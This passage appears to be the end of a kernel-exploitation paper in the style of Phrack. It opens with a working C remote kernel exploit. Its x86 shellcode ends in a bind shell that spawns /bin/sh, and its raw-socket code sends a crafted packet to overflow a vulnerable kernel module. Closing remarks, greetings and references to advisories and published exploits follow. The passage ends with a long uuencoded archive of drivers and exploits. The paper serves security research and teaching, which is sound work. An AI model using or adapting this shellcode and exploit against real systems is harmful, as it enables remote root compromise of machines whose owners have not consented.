"\x8b\x99\xf8\x0f\x00\x00" // mov 0xff8(%ecx),%ebx "\x8b\x81\xfc\x0f\x00\x00" // mov 0xffc(%ecx),%eax "\x89\x03" // mov %eax,(%ebx) "\x8b\x74\x24\x38" // mov 0x38(%esp),%esi "\x89\x74\x24\x2c" // mov %esi,0x2c(%esp) "\x31\xc0" // xor %eax,%eax "\xb0\x21" // mov $0x21,%al "\x40" // inc %eax "\x41" // inc %ecx "\x38\x01" // cmp %al,(%ecx) "\x75\xfb" // jne 2a "\x41" // inc %ecx "\x8a\x19" // mov (%ecx),%bl "\x88\x1e" // mov %bl,(%esi) "\x41" // inc %ecx "\x46" // inc %esi "\x38\x01" // cmp %al,(%ecx) "\x75\xf6" // jne 30 "\xc3" // ret "\x22" // border stage-3 start "\x31\xdb" // xor ebx, ebx "\xf7\xe3" // mul ebx "\xb0\x66" // mov al, 102 "\x53" // push ebx "\x43" // inc ebx "\x53" // push ebx "\x43" // inc ebx "\x53" // push ebx "\x89\xe1" // mov ecx, esp "\x4b" // dec ebx "\xcd\x80" // int 80h "\x89\xc7" // mov edi, eax "\x52" // push edx "\x66\x68\x4e\x20" // push word 8270 "\x43" // inc ebx "\x66\x53" // push bx "\x89\xe1" // mov ecx, esp "\xb0\xef" // mov al, 239 "\xf6\xd0" // not al "\x50" // push eax "\x51" // push ecx "\x57" // push edi "\x89\xe1" // mov ecx, esp "\xb0\x66" // mov al, 102 "\xcd\x80" // int 80h "\xb0\x66" // mov al, 102 "\x43" // inc ebx "\x43" // inc ebx "\xcd\x80" // int 80h "\x50" // push eax "\x50" // push eax "\x57" // push edi "\x89\xe1" // mov ecx, esp "\x43" // inc ebx "\xb0\x66" // mov al, 102 "\xcd\x80" // int 80h "\x89\xd9" // mov ecx, ebx "\x89\xc3" // mov ebx, eax "\xb0\x3f" // mov al, 63 "\x49" // dec ecx "\xcd\x80" // int 80h "\x41" // inc ecx "\xe2\xf8" // loop lp "\x51" // push ecx "\x68\x6e\x2f\x73\x68" // push dword 68732f6eh "\x68\x2f\x2f\x62\x69" // push dword 69622f2fh "\x89\xe3" // mov ebx, esp "\x51" // push ecx "\x53" // push ebx "\x89\xe1" // mov ecx, esp "\xb0\xf4" // mov al, 244 "\xf6\xd0" // not al "\xcd\x80" // int 80h "\x22" // border stage-3 end "\xbb"; // border stage-2 end /* end of shellcode */ struct twsk_chunk { int type; char buff[12]; }; struct twsk { int chunk_num; struct twsk_chunk chunk[0]; }; void fatal_perror(const char *issue) { perror("issue"); exit(1); } void fatal(const char *issue) { perror("issue"); exit(1); } /* packet IP cheksum */ unsigned short csum(unsigned short *buf, int nwords) { unsigned long sum; for(sum=0; nwords>0; nwords--) sum += *buf++; sum = (sum >> 16) + (sum &0xffff); sum += (sum >> 16); return ~sum; } void prepare_packet(char *buffer) { unsigned char *ptr = (unsigned char *)buffer;; unsigned int i; unsigned int left; left = TWSK_PACKET_LEN - sizeof(struct twsk) - sizeof(struct iphdr); left -= SIZE_JMP; left -= sizeof(shellcode)-1; ptr += (sizeof(struct twsk)+sizeof(struct iphdr)); memset(ptr, 0x00, TWSK_PACKET_LEN); memcpy(ptr, shellcode, sizeof(shellcode)-1); /* shellcode must be 4 bytes aligned */ ptr += sizeof(shellcode)-1; for(i=1; i < left/4; i++, ptr+=4) *((unsigned int *)ptr) = DEFAULT_VSYSCALL_RET; *((unsigned int *)ptr) = DEFAULT_VSYSCALL_JMP; ptr+=4; printf("buffer=%p, ptr=%p\n", buffer, ptr); strcpy(ptr, JMP); /* jmp -500 */ } int main(int argc, char *argv[]) { int sock; struct sockaddr_in sin; int one = 1; const int *val = &one; printf("shellcode size: %d\n", sizeof(shellcode)-1); char *buffer = malloc(TWSK_PACKET_LEN); if(!buffer) fatal_perror("malloc"); prepare_packet(buffer); struct iphdr *ip = (struct iphdr *) buffer; struct twsk *twsk = (struct twsk *) (buffer + sizeof(struct iphdr)); if(argc < 2) { printf("Usage: ./sendtwsk ip"); exit(-1); } sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (sock < 0) fatal_perror("socket"); sin.sin_family = AF_INET; sin.sin_port = htons(12345); sin.sin_addr.s_addr = inet_addr(argv[1]); /* ip packet */ ip->ihl = 5; ip->version = 4; ip->tos = 16; ip->tot_len = TWSK_PACKET_LEN; ip->id = htons(12345); ip->ttl = 64; ip->protocol = TWSK_PROTO; ip->saddr = inet_addr("192.168.200.1"); ip->daddr = inet_addr(argv[1]); twsk->chunk_num = NEGATIVE_CHUNK_NUM; ip->check = csum((unsigned short *) buffer, TWSK_PACKET_LEN); if(setsockopt(sock, IPPROTO_IP, IP_HDRINCL, val, sizeof(one)) < 0) fatal_perror("setsockopt"); if (sendto(sock, buffer, ip->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin)) < 0) fatal_perror("sendto"); return 0; } < / > ------[ 4 - Final words With the remote exploiting discussion ends that paper. We have presented different scenarios and different exploiting tecniques and 'notes' that we hope you'll find somehow useful. This paper was a sort of sum up of the more general approaches we took in those years of 'kernel exploiting'. As we said at the start of the paper, the kernel is a big and large beast, which offers many different points of 'attack' and which has more severe constraints than the userland exploiting. It is also 'relative new' and improvements (and new logical or not bugs) are getting out. At the same time new countermeasures come out to make our 'exploiting life' harder and harder. The first draft of this paper was done some months ago, so we apologies if some of the information here present could be outdated (or already presented somewhere else and not properly referenced). We've tried to add a couple of comments around the text to point out the most important recent changes. So, this is the end, time remains just for some greets. Thank you for reading so far, we hope you enjoyed the whole work. A last minute shotout goes to bitsec guys, who performed a cool talk about kernel exploiting at BlackHat conference [24]. Go check their paper/exploits for examples and covering of *BSD and Windows systems. Greetz and thanks go, in random order, to : sgrakkyu: darklady(:*), HTB, risk (Arxlab), recidjvo (for netfilter tricks), vecna (for being vecna:)). twiz: lmbdwr, ga, sd, karl, cmn, christer, koba, smaster, #dnerds & #elfdev people for discussions, corrections, feedbacks and just long 'evening/late night' talks. A last shotout to akira, sanka, metal_militia and yhly for making the monday evening a _great_ evening [and for all the beers offered :-) ]. ------[ 5 - References [1] - Intel Architecture Reference Manuals http://www.intel.com/products/processor/manuals/index.htm [2] - SPARC V9 Architecture http://www.sparc.com/standards/SPARCV9.pdf [3] - AMD64 Reference Manuals http://www.amd.com/it-it/Processors/ ProductInformation/0,,30_118_4699_875^7044,00.html [4] - MCAST_MSFILTER iSEC's advisory http://www.isec.pl/vulnerabilities/isec-0015-msfilter.txt [5] - sendmsg local buffer overflow http://www.securityfocus.com/bid/14785 [6] - kad, "Handling Interrupt Descriptor Table for fun and profit" http://www.phrack.org/archives/59/p59-0x04.txt [7] - iSEC Security Research http://www.isec.pl [8] - Jeff Bonwick, "The Slab Allocator: An Object-Caching Kernel Memory Allocator" http://www.usenix.org/publications/library/proceedings/ bos94/bonwick.html [9] - Daniel P. Bovet & Marco Cesati "Understanding the Linux Kernel", 3rd Edition [ISBN 0-596-00565-2] [10] - Richard McDougall and Jim Mauro "Solaris Internals" , 2nd Edition [ISBN 0-13-148209-2] [11] - Mel Gorman, "Linux VM Documentation" http://www.skynet.ie/~mel/projects/vm/ [12] - sd, krad exploit for sys_epoll vulnerability http://www.securiteam.com/exploits/5VP0N0UF5U.html [13] - noir, "Smashing The Kernel Stack For Fun And Profit" http://www.phrack.org/archives/60/p60-0x06.txt [14] - UltraSPARC User's Manuals http://www.sun.com/processors/documentation.html [15] - pr1, "Exploiting SPARC Buffer Overflow vulnerabilities" http://www.emsi.it.pl/sploits/solaris/sparcoverflow.html [16] - horizon, Defeating Solaris/SPARC Non-Executable Stack Protection http://www.emsi.it.pl/sploits/solaris/horizon.html [17] - Gavin Maltby's Sun Weblog, "SPARC System Calls" http://blogs.sun.com/gavinm/entry/sparc_system_calls [18] - PaX project http://pax.grsecurity.net [19] - Solar Designer, "Getting around non-executable stack (and fix)" http://insecure.org/sploits/linux.libc.return.lpr.sploit.html [20] - Sebastian Krahmer, "x86-64 buffer overflow exploits and the borrowed code chunks exploitation technique" http://www.suse.de/~krahmer/no-nx.pdf [21] - Laurent BUTTI, Jerome RAZNIEWSKI & Julien TINNES "Madwifi SIOCGIWSCAN buffer overflow" http://lists.grok.org.uk/pipermail/full-disclosure/2006-December /051176.html [22] - sgrakkyu, "madwifi linux remote kernel exploit" http://www.milw0rm.com/exploits/3389 [23] - sd & devik, "Linux on-the-fly kernel patching without LKM" http://www.phrack.org/archives/58/p58-0x07 [24] - Joel Eriksson, Karl Janmar & Christer berg, "Kernel Wars" https://www.blackhat.com/presentations/bh-eu-07/Eriksson-Janmar /Whitepaper/bh-eu-07-eriksson-WP.pdf ------[ 6 - Sources - drivers and exploits [stuff.tgz] begin 644 stuff.tgz M'XL(`!J,'T8``^P\^W/;-M+Y59KI_X!1&X>2Y8B49-FQZLRHL=SXXM?XD;87 M9S@4"=H\4Z1*4H[<-/>WW^X")$&*=I*>D]XW7]C:)@'LXK$/["X6B9.YZW8> M?=%'AV=C?1W_&AOK.GT;_3[]E<\C0Q_HW6Y77Q]T'^E&M[?>?\36O^RPQ#./ M$RMB[%'RSOOC_G8\BN^I3R>2_OT_\L1$?[Z8^5^."3Z'_EV]!_3O]8QO]/\J MCT+_.+)L/HTOG]H/W`>NQT#0NX+^QL#(Z&]L##8,H/]Z3S<>L:^RB/_/Z=]I ML>_JK,5RXK,U%O/`@7-]%7I+P@+EAQ*S` M81'WN15SAX4!.[Z"$5ZWH;MXSMF@_U2`T.\._/ZN_KT7V/[S'.'&\\.G5 M\T*9=QE8?JEP'GC0MMPR<7QOLE08P6B76WI!4BZ\C3O)[8S'%>7`:^7FKATD MY6%AT^G4"LK%]A5?&BQB#>UK+O!"E<-=+^#L>/3SV#S=^^>8Z0L0,#VO.3@8 M'9NCG9T3IFDWH>>TFOJB*]FV66IV>+Z_KS33EYM1/X?G!\SH;A;[/WOQTGQQ MM#/6)D##=NBZ,4_:-Y8_YTUV`6033TO3YK"(O:Z9L%93T^PK*VHU$82M,@'4 M;+)MEK5J:@*'VIEK)99O\B@*0FW1OFVR]VP&7V&D+9I#X%0OT6[AY0/"`"7G M=L)L8/`K)V*M2],*;,_WK>AVB/4@$9=^.+%\%L-0@/FH.Y:$++X-;&#FB%M. M3#R*,@/<]UW])O2MQ`.N1P)[-H.A$A*36FPS?:B.]GQOQSS:W3T=GS$C+ST] M&[UXA>5IW>!97HGKJ-:Q9^N($1>+79-,F:#))V_>LFTL;UPL)OQBP3X.L/^J+'-]N/>>P1@L'ZQ:(/"#8G`-R_6'374T0J0@7! MX\MX"UBD_3BR%HQ0](R+A?VLJM_R&!:PFHB"VXLV_F),,]8)QR;@<)]!]S9T M:=PU%\1A3V=R'D;7)BR$8`/&;MB?,HA_<7KMZ[KEZBC=\\F@/_&255B9S>=B M-+`81N5*WK&J&JY&$T;CB-'T8"IN]U,0R.D@/7+P#20"_Z3)!#R=#-\L34;/ M)[..R]F_#Z$R&7W1_Q+SV7B@^2"[.9\TEHS=G$4^ELUGG[D'@*"R; MGS0?L1SW,1M)'XBO?>^@$)GE./@*K-\G\2-PUP50XU/&`KN)F(\4&9R%\VDB MD\_"MHNS,/IB%KHK!->]=UD06?S.FEW&3%OO9].W-^`O*A_\@67H3NY00+^+ MZ78)%C@;H6Z_98K[L&2\W:K-<#@XC>[9CV(Z43/5V]KOK34)9=Z40^ M[?)@W<;P$[@HXLGOC$PQW!$]AW%O9CJA2?LO%@#&][CQT[;5LJ++FP7N6.Q] MHS/Q@DY\U6@SM#@^#+'5#"RNQ-4:<\_9?NQ`,T+B86M?< MO/[7?#HK+"RM>HN@3)@3+"V8D;/4?M,$9Y,!UV;"Z&NSXY.C,_-D/-KYD]Y^ M.=D[&[<9V8B'1X>_'1R=G_Z)7\Z]'9V-ZW]W[=;P#*.!_,*NP9\_5E&ZW M"7YWM+<_WFD*4T\UT1HX*J`6T07_RT9^Q7T?%TX=?6:(MJ4I6SUF\3K^=?SB MLT:?#K[8\^=-`&2(3^W9;1%+6[7,VBSV_N"AJREES;4,7K&6E>GFAB*QOL+Y MU>W+)B0MF'SN@RM9EVW&5A31S80'&0^]Y<041K`)$AJ"RW:K88W6]-Z*WT):A\A@6=( M8$77S7*"O[L"]P*ZQ??W@B%A#IF/(7GT?>I6*4[-VG-T=4P?_.IMMJ[KP[2- M&+S\_(!_/LA)H*LUZ(-#EL2VE@X\*P0X`K+B*4L='ZT1.="X`2Y^8WO4T"+T MVN3RR4428*H+!@`@!Q:8$.4N)AS<*SXLE%ENPB.A;#*'$8P.'L>(=EB)EWZ_ M`<_T[5`0QT=G2K"B"R,W71B[25H&">?&144*9E54T$+H-;<5%DR=W_NTZ.G+ MT+2T&/;"DPLU<1D03^%T6TZ.YRK1_W# M,FO>MC%DWH_I7-;P:W55Y32QC-[;IV*]B]ZX0`V2Z;6RA6E*KLH(Y<0#FT.9[PO=1\!KS\6"Y)]$L[7T M4S`%C7%Y>')HZ*W0UB>T$5Z$L#DC8(\5PF!24,C*Q>51#@&G;E?(# MK!_S)`V?W<`XE1V.Y8-Q0+/!/.;!-8E"8;M"?5OJ76(O]MMBR11-1*T M+L&+.4%S92MD=\YGJ?$-]V4(3RW'$"]3RU=7Y3B_6D<@L[#<&A2UR8V`[6&C M6[#6II879#*PO#L*$18?X(7IPN\J,AV>`^1U2K/5&?LTKX`!J[<*M"C MG$6XAUBHNGBTU02=(1"`D8?3T?+9?8D5^]A:D;EMSLC@KC;P,Y-6]:TK3%ED MN'LM6<%@2WN>H$*OFSN$Y&S8;[IO,UZ*9Z#5$QPBG7?,+"_21KOF^>'>K^#Z M'('G7:QG;MV`BZU]4NKE2,KKIDJ'%5V3_'8H-1^V5XA8N$6%2AM>PT`UHC"LU-[/K_92$OX% M(9"6IR[TS-]]?OGM^>\>]?P??+G(BQ\^#^13\S\V-C`)`/,_P$T=?,O_^!I/ M!?U)=]C7#Y<&7O-#(H"?!][O0(H4".-I MU7`JH#)6`("^@77`9KX+]+($*F$DALLHG,\8\(A#H9DJ#'%IT#%Z^\!.Q='. MR25O`/KO:(WRJ4-P4G"+GGU>06V!VQ?)"\ M:R;#G/-'^WL_'QZ/=E)4O;SJ^'3O1=V+NNQV!"21H'F"& M%R@#/P2M`2X'13^;]5P^TD[3;_P:+DE"^K@.#"[_2)TR92S"*3LZW/^MJ:!Q MF<8R[RPKSD>1C4;D)PEO34&0/M+,7C/RJ@_Y@-#9`HN\S62TL+F"LTG=<*;A M5U/!FIOP]5('V/)I2OXZ=)&G*1V?CDY^/DU3CO1%KZ>S53Q2&AAU"B](%6]. M>6&A:4CPT`FO..!E#?15D"'D$2_[,%QNSX.;6=K^;'QRL'V3&+H.$(V?1J%EH)UD'#;>%Z\U8GI]SR. M.ME+7D3[7*?TB=5IGWC05.@TG55.R=0_/I;;%*:0</J8%RGFULPJ\^ MTMO(FNZ<'QS\1B=L*(,8G,#]JU%70DWUY>VH_*!@?:P-GA7ERD;&K:`OTPZG MM.4&W%2:"!A@RDRGJ)5* M"&2-G:/O39H/SZ80"L/&C((@`HT**T<%F&47JV616\VTXD>ZQ/A&UA]U)Y$7 MQ@JSA,Y6T*3HD451J%G=9EVE#%0Y,3UI[%P1@NFE,1&&T8=,Q%6,/KVMKK+F MDAHC"D`--%_\)!^85X'`>1O)C*4JJ$C7:HUM*F-,GM)NDP58H:W"[\E3N;Q0 M7*G+G=@E/S_@='[YO]]E>=[SPU`O=?,L_'IV:NQ^3+5]GE) MS^RW@^+!/A?S[UASLDNCAHD`?D_^-P2"/_ZRC_&]L;'2_ MR?_7>#H4)6$EFF,0:)\B/6D41S;X7POQE",\V84>&3Z);?(G\#K#(/TII2%W M.C!XQ\&!4*\^*!],_*1$:/UBL?X,_AHB<9AWX=N6J=QJDV^C#+Y2[J$L5([6"/]V)K1+98?C$Y?L=J_\_Q? M"I;EL<##L]'A'FJM6L,*$BOP,,"79JO5)N$\<$S[BMO7;[IOM]]3!@K^`BN1 M+Q)@"9&_67-"TTO0\Q+1V%KM?`\]::J$.@4/*=):,:.5JMEC\/H>ZQ<)N'>4 MW#IM:`I<$\NLAJ8O=G!L1L\D3,PK#1&KN M_"9$&O?*@SB-M;4@G$6AS`"AS\@NQ,\$^%+8S/>"^0)!CD^-[5O]5K^X^.'> M*%K9:X?G,P-K)>`'"+.I`;6/1KA@EI`,.9:L().&F:C M*!AFWE.P$\F5%.Z"P#L,`@#8Y!9`KSE`V'Q&=5>@1WP>;;$$RW6,\DO5@LO" M&6A`(+HC,A1SFH.:Q%2:&Q/:FK*MEKDYE'U#Z3.")T2N8EV):L57820"/(5B M:-ABE`-7*&H*9+1P.3."@K*OA8;+\T4Q*0;%5N0_BG09IF&:(@:P05J:;&6% M"E:-Y:+N*;04N&?S^,H:9I:B*)R&-SZCOMKXQUID(P&N`"51*J7F&A4URP". MPWXP]#($]NI7(/FADH,(>)*U1*9EK4+1+)R5T$&)E;[C?:WT'13-4/VAXBW0 M;5Y#8__6E`T`)*=9!^&1MP>$$$F_WG,24[P2(Z/&-@:@>'UOZE&\+]/A>+\; M8)EI6@EPYF2><-/4M!ELRMQ!18HXZ2JUU)!X702L"].-K"DW*7>T*$&(T111 MWCK9':6GT!@C#=0.6XI+&G1KAT*F8NQJ\X@4?AI-3#MB*_EF5I9+AEG"LF<5 M9$W!M00CTD4EC$:AS56!:)7E6R42H-QUMA5,K2Q M;[BS=7;7X<\[+V+=#:S?4T4*''14/LW"O0D"E(Y.7DR*$(`4"J<'GPB(4QF:1GZ0CO=!'NN;BS7QA\X+U$Z+7W32 MVA5W1XQF;NQ)Z:XD;1&;!%E?O$`=PG!UB?'38\K< M@I)GTI+II;(ICH(D2@Z%(*1,I7=2E^:1,=.5-O(-@DG,GONEU226W,LEKLQ:Q&>5T@^18N",GD=2^63/! M=XK`*G>BF""!TO9^.N#J;S&%&D`,!*:\\CN)D8]RV3*L$!C<:H7-"4O;5D_' MR(-LL_QHK"VX3J1\B'DC1\%BL^=,)COD+9!)D]#3B`#&6V%[2S6IM()F^=:V MF:-UQ>W,I47!L6W)6TS@A'CV1]ER):?OTFV%*GX0>1,Y4'K(J$Y>LF+A>/#5 M^.30W#MZ<;9OCO;WCUZ8F"G29DKWJ1"FZ>A+DQ/\6(GHSEE**Q_XD86^DV6' M)1$C*Y'<&''I&+-PT.855]G>A9%4@RDOXZVPC#E3]\$.IS.PS@@PX.\(,9C+ MGB.*]G;.P!E"!IWPY!T'"X94-GE%>X>O1_M[.T?'BAU.':9J$H')`-]BCQ?I M58'R[D(S;94%K-0(-,<`VBW3;1O6`S9?3804FJM&B;:3.=[FVA;5PX^0%1WB M<259Z^I5#O@H1Q?2U2P[BKB:M"2%">;*Y?[Q[)Z,T^&H.O[3V2M#<"=WY?$* M5?U2%/GO#EU^>Q[@4<__>.`D[^('3/R6S_WQ_^XZ'O:7__V__L:W^/_7>.3Y MG[B*)*A/D?\3/@T3?F?HGR\LBBK][P7P[_JW\3X_#3P_2[P_SA]P&#=/.MZL MNGSN4`5&&MTHG-(A")N&SMS'?SPN__?V1K^:9[^OIV!YH(N:D MQ.TI:I^5'+T>G^SN'_UB'H['F#O;5>K^<7"L.,]XG/E,G#7BF22>/;KN?]K[ MUO6V<63!\Y?ZOGX'M&;B2(HDZV99ML>9XXF5;N\XMM=VNF52%&5S+(D: M4?+E=&>>?>L"@`!)^9).IV?WF(EM"<2E4"@4"H5"57(D@/*7JTN4I(0$"65; M-X\@NB=[;_[:/WP%2K9D%=2TA42%>]/RKA,6P!C@F[X)U-O\RJGEG(F M-9S1G>4T=*?'Y\>BO5DPCT/>[KT_/'=_./O[V1L0JMQ3LF@=P1-TFFVQ.B-" MUKCU@6$UVGY#T##2C('L0T7)\P"`(3^!]7K!&\\NO>T_B/HZWIP&`0U>;(M6 ML[/9Z;6[/1`_>\SX&H+O[&V+C68KE:NIP:*&_G=[YP<_]%U"/#EA M;-RJNM4!N/)(\^'C+H)^&457`B:&.U_`QL`CE2>(3^SU:'9''6KQ561=5)0V M6V4V`P0BVFK@3]%2L3GH_PGUAOSK@SY$_TA%T+-:D#YW5\6T,[5X1LX'N00> M>7?YR!N/P26U<@D$5I##*AH_W.-:!7U9L&GXTW)L-VE-JY!R49;VK$>%4& MW`?^J\#HH*>U)J#=QF,SI^UFIZ@J-)Q+=NQ66\7'-MK*--K*:;2WD=-H;\-J M-!@\V"@2S8"1GFJTK1J%W^(#"/C$#_#XP*6=W$?<1REZ!;@'O;2'N\3I('K< MZU5IG.40Z0KG>#-93(\/9X^X@/M;-,5?A0* M2*3;ML9&BHZ"X6W29!?M.YD>]&E];3,;:%I< M6K&9,9X\59/?DE$O+VO.Q,SBD@:7VC92+( M>_T5NM'K$?^]KP1DK1KTT\E9[S+PR/7G2;`WV.GJ8%#,Y`6$#ABA@T&5>Y#@ M=.-^G'H&3MLM*:ZBB(.K[3#PYP&NYZAR#R:S!0@+2W1E(4IM0S3HL>F;.6?D MLNXQ\,J'<.Z2;J_GGD'+RO^IHY=*]G2J,R$34.Y%D[9+?/2:+$)0UVC`K8J$ MP_Y1S_]1DA>]!C<\J\I_!""2=7H;39#M03!_K9GD:&!/:%]/:*[=5^#.BEC`T?,]Z:<$[&)KCJ1P\F<,&AC8?$V#^F!#%3H_BX='8!T MZ>-%WCM(#&9Z*#=6>6NU.8XQ2CC36YV45*30,&:R;-$,F97OF^DV76)7\=[9 MGX:1NYRB0/U:M[BI6NP8TSG58I,=]-J-YOD(?FJC3=,/=:K1AO3X:K4:##ZW MU2&(:-*+Z\A/(Q>VQ/C97L-F2/7QS%@CV0ULNG#"[+B(ERR7?EI:LY=![S:A M9G0QC@).%C@IU5K`\<(L6^KD^=*V^9Z7\.QFFBA3G:#9/AAK/HD3T^I':MGQ MVSH[T45N]>;HX-*L1P<7G^9KW=AFCV=AKY[U$T!BIR2AY088B%4MX M6LM;*UK>6MURD';S_.B6J1QQS-J9,@OV2@V,H2Q MD$,9&PR*,S,XE0QB;&S:2.AOW2"6YZSJR^A5DP&!1.]U-NYWVYNNGSB.< MVVG9)&=N2]&$1CE=N3W*E%W6/LAS56[6S@NWE*I&:.2>QA#G7HXM[+00ZMQZ MX^7`A'KV.5#CY,GH)TS<5Q@?2B47C?)74%P\>76]"&HM0X&B5M5$$I8BTB": MHW,"70(]8Q56[A(T6'*G`'L^-%L$.NC=NTM8M4]H\LV&M$26G3V)6.8G$M<6 MNO[O2>V)AM#>:_(^SK>DL(&4FOR'BOJZJ$&[62U"AGAYD4E4-7+M;!L\);4C M[B6+9JA;4N5:?GXYV@L"/_2-A3Z7\!Z8+ZT,CTA-F%93SYC'S_/'V_V:%AR M=W&Y>[C/PV*F>A.+*`M*++8;C,6,5*;+S`/).%I9Z3:'U[1-7D.!,Q*5DJ14 MTL>H64NLVE"',']6;Y&,\6*5K2P1T&'1;+28-26%T'023$C11)?VAR@_&.VR^X)>XS)96S+E.:*I6+[#5ZK^;V5=RJFULYB`F?!+,#Y#@`Z/WB!JR6%]-C8^D MF?N0=<^K323A)R#+IO"5P.;CX&$DFC-@N)7?N$&`?D:Q*KF-L2RV,P1(<'3; MW(6M["3U'X7P3C,[HEVH&E[H0%L"?+K3Y@OW#,S*I4NN;JFU"X1P+C$8Z,@T^1(UY33$=D,D%\G%A>2,6M_` MP5MZVNH6K<0^--%G"MY',@KI[%28/*\G=J9)K?SZ0T-6('U]DQM::9OEX_U) M:;)*-@ULL:HMMS#)N+\DKR\E]7QF!>@T#>]<+,3!"10.KN+E!'-X)/>.&(<[[6GVJU_ M8DO(4BJUS"5V,B;"829E'(P69"V''Z"JM,E$VO^0 M;:J>=)-EC,$]1$>P,SBR$PC8##4!.J]/HE`P??>+/Q$&UCMTL+=NBKBTFH2#VP3'M9QT82P?`B2C>$9NAH;OR@R,, ML$3NRD_W?JP"WR5S)?S"Z`)HL0P9\#J.C2^NAMJ"JL-I'7[%9<+&/U2L]7N;)2-MT@O]5C=%T-;-0X9DUCL0RM`HH!QN4@`C3KA MK/8ZO$02VMAQ'/Y^':NZ.QPRB+"ZP?-KOZZD!&(4B0BWY/K^1285&Z! M#755K;-YM(A\"FZ16'K)=W&F'\7F5JO>[/;JK4:CW@2L26B'JWL,.7!`:Z_U M>@[YLG96LDDR[L8@5;@\9M;'LF8`F6GA,($!K\41C68+&O.$&`Y.\+/[_?[I MP=&;PRJ:ENFI"/.V7);DD9Y/284\IXB:D$@CV8""R!@3TRJVP"VN<#/R_/R;/H;]M^_%BW!Q]\7-O\DDNK/2_KO=Z#2[:?OO9O:3_%SWVPJG58#-UB!XD1*O>J;=:8IT_;`CQ[LW>V;G[[NSMP>%Y_U19 M;?_[^802HG@\'A;%)?M^'D4@9MQ@M3MEVX-5B.%9,E;NJ6X.EN@:"OT$#.Z@ M1.##KBJ:C8.ZD!5!]V:P-'G^)5XM&F*M_UR&BP"=2DSOJE"GMW@9BYM+*"Y& MP1AOQ%_1E3[L6R"@Z>TRU?4C5#6`.A!MGMI'H@,0MBE#=]%3**9?Q9>3<.C* MZUVJ9WGO4'BY1O<\TN]!4H0N"57D)EH6Q;=N./.1Q4\H_7)"GW!C1DD1HZ>2^7%>##10+,*-H/0Q!Z+A&#S5X/W1QB8Y]8W3JB[>-B8PO M1BA#Q'.?`L81/)[XEK%1[K<'% MI1ZD"+RVSN3A"%CL0=3ITZ4^@PPN(KR9ZB-^W6BYX#>?^+TBZ6AP'4;+&(34 M:8#SEBH6)>_*8X3CGD5++G2X699C,P;)C%U,Z6`#RQDY4DZH3P\,ALV%^59. MS4:LZ6[FQ3'-0QP[)B?$+2\N$U1!S?]![B'TFA%B/^"5,X!SJE]/PC&;9-!*PIGA3K`>*#@D) MP+T`JP%,E$4X`9K@M8BIAI8<=.X#&WS)).*E[P>T]>=+F4P94`&/]W(08U]P MOXTC@`.W!.P/%K!#QZR>&`:UD>=#Y1)R!.+F,@3JNX'A3N@VNI:#D\,$N5.E MMX#@":Z(PP#J'\?DYAT(`+DBQZ*D:QH3M,2,RW6>@-9ZIBE_&`7Q]"7=\KW" MA9+;@1IAAB#PV>J)PZ9+=%L5PR5Q&4F5\DZ'9F[>0M*W M#W`2#RL!4F$4H-U+M-H.ID07%+]:4X]""`T^;_*Y^\=(K5$<:%AI65YXRBL3 M2"@84RV*XY`NQ$NJH\EC5GH=`EO!I4)"5_+&DRAF90AFE@+/E'@_E)/R11EW M1PL65A06D1[1+P',E)!OX2-9Z@E8(H9"PTQX3AJJP1YP4:[KP<$KM/_IS[W9 M(IIM_^L/T/Q"R"@&0%84R.,7<3$/9D*N;4Q]_+FT_VZO;*RP#>,/CI?ZS`EF M25N3WMOJXI^MAE&RW5"_9,DTI-GG?^,CPZL`T9X`282P3^Y4Q:@>U,NJRZUZ MMUX!.B`R'.#-<'3["S/M#OT,(*H!1\LQ+$[(FHA28WCQ#^25'BQ_BP5''_&& MF(0#RQ,'Z&*R'!-52&DO[][?HYWL4>KE)""P<)?QQ7T9D@'-.OKXBQ`5DXBK)*=2!*\BY8TMY!SP0*$ M8B^-*,Y^6A%Q#<0KE(G3*%9$\55U2Q,+9*S"4NR8?>98?Z@,=X73[.J:3!VH MI==GA8R23[7*C$^.UBMB3[H?D9HT^[$]Q7!5\NA*J=C4$114=8*O9>B M%NQN&U`9$5BPJ@.4]Z?2LS^"EZJ*/0J<>!Q80H9=^3\I7+RLISJ@@FW0X[HS M;_C!QFAR#J&Z6A:U0@X?D'!3WBQ^<@XTN(=E^Q2-XM*X+)NC:IM)VG@<$$II MZP.K+$6:08VD^@Z?AL$MZ2731(".%DBN&KG4AH%9X!^P&_7B!+58`;7L.-C> M:`*KK5%`;ATFTI8/H3)RL\B)#\^..6-E#`VEB MZ$U@@S8%>%`UC<=LJC]KXT![AW0=G@,==(EY"#$P,\$?J;P$\$/R.^5?\*/ MGJU)$?2703$U9\'0]8`+8E?\RS"8[B2.\AP*PCJ2"&)?I4YE-@^NL9'@=F'@ M@I!I0#DU7D*'L?H+[X+.>7XFI%3E[S6)0/V=H$"4%5+>]6@>HU;F0[/;[G4^ M2@?30-L17A(F]XUX%`&<&Z8J<7$[J:L3EAAA%&-0D6^]`KGUKU#8T0K)NSM& MVQS_/+Q8QG/::0_H:$NWV4R=<*M01X!"RIAU^5G[*%[$,APWGAPY=!K3_]O! M.;E8>G_:3WDYHU@O?=':Z'*/86O@HV@1N"B51:.1;'+J3>@XW:'8-Y71;$<> M@&&V#[*:CU6!WMOT5WD$1Y%.\!3E_0EJV0(^0\&C/8K+Y4:#?\"F`L3<\8[` M\Y8!.H(I8<4J&`U"+9.Q`2-9%!`-&-E7!@RV)$KTUSHOJD,E@1EW>=KH@Z52 MD53XY/`)YQI50&NUKL0,9S+"/:J$3?%V^(*LO@F3V@PV-,3(=(ZC(L5DU@\$ MZ5NNCSLEZ\,O27W9>#+J&<#4NLJ-FH6G;7@O:B0K+KZ(Q8LE_$>Z(-#73-2O M$>X-R#_A[@TD&5RV_,E,=I=(P,2%#.(".:=1"4%-:AC)=[-4,!D\&"$`=T5; M_)D'';J:0".V*=Y7X9/#]#B+9DR...>()C,1ED;##ZT--$PQ$T.C718D2V<' MW[T_.VU6Y82S1I5B^H0/''= M$GM?%=KG:P.=%FZ+XJ0(S,BF!K&V*Q)#>3P+OL:#9V)?E3*TXQ12W3)ZA5*W M6%=3H')-$X#[F1,Y#J?.M731BZX,U];$M7;0"PEY97395Z]V*/QM63$Q,O"]^GY!2RUI3^:6D9T18&J+\B%;4H:6L*'HT" M'FC3.EDGUX>[8LT@($'2YSIO:!;HAB]&I1-%4W=G%[!>"#H15E5D9(%4?7A> M2MY$U%.1JD127(6HJV%]FSI2$3>>4EZBZB;P0SHIP*OUS+3)G2_]U-T59>($N0E@_1#6A=HX4'<4BW7(AE5NQ 